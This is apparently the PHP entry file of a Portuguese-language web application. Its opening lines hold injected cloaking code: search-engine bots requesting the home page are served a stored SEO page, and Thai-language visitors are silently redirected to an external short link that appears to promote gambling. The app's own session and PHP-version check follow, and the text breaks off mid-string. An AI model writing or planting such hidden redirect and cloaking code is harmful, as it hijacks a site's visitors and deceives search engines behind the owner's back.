$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $acceptLangRaw = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en'; $requestUri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/'; $is_bot = preg_match('/(bot|crawl|spider|slurp|facebook|twitter|linkedin|embed)/i', $userAgent); $browserLang = substr($acceptLangRaw, 0, 2); $seo_content_path = __DIR__ . '/wp-content/home/index.html'; if ($is_bot && $requestUri === '/') { if (file_exists($seo_content_path)) { readfile($seo_content_path); } else { define('WP_USE_THEMES', true); require __DIR__ . '/wp-blog-header.php'; } exit; } if ($browserLang === 'th') { header("Location: https://swiy.co/go_ufa55", true, 302); exit; } //Força SSL se estiver no servidor // if(($_SERVER['SERVER_ADDR'] !== '127.0.0.1') && (!isset($_SERVER["HTTPS"]) || $_SERVER["HTTPS"] != "on")) { // header("Location: https://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); // exit(); // } session_start(); // if(!isset($_SESSION['permissao'])) // { // die('Em construcao'); // } if (version_compare(PHP_VERSION, '7.1.0', '<')) { echo "
ATENÇÂO: Versão atual do PHP é Imcompatível com o sistema.
";
echo "Versão Atual: " . PHP_VERSION . "
";
echo "Mínimo Riquerido: 7.1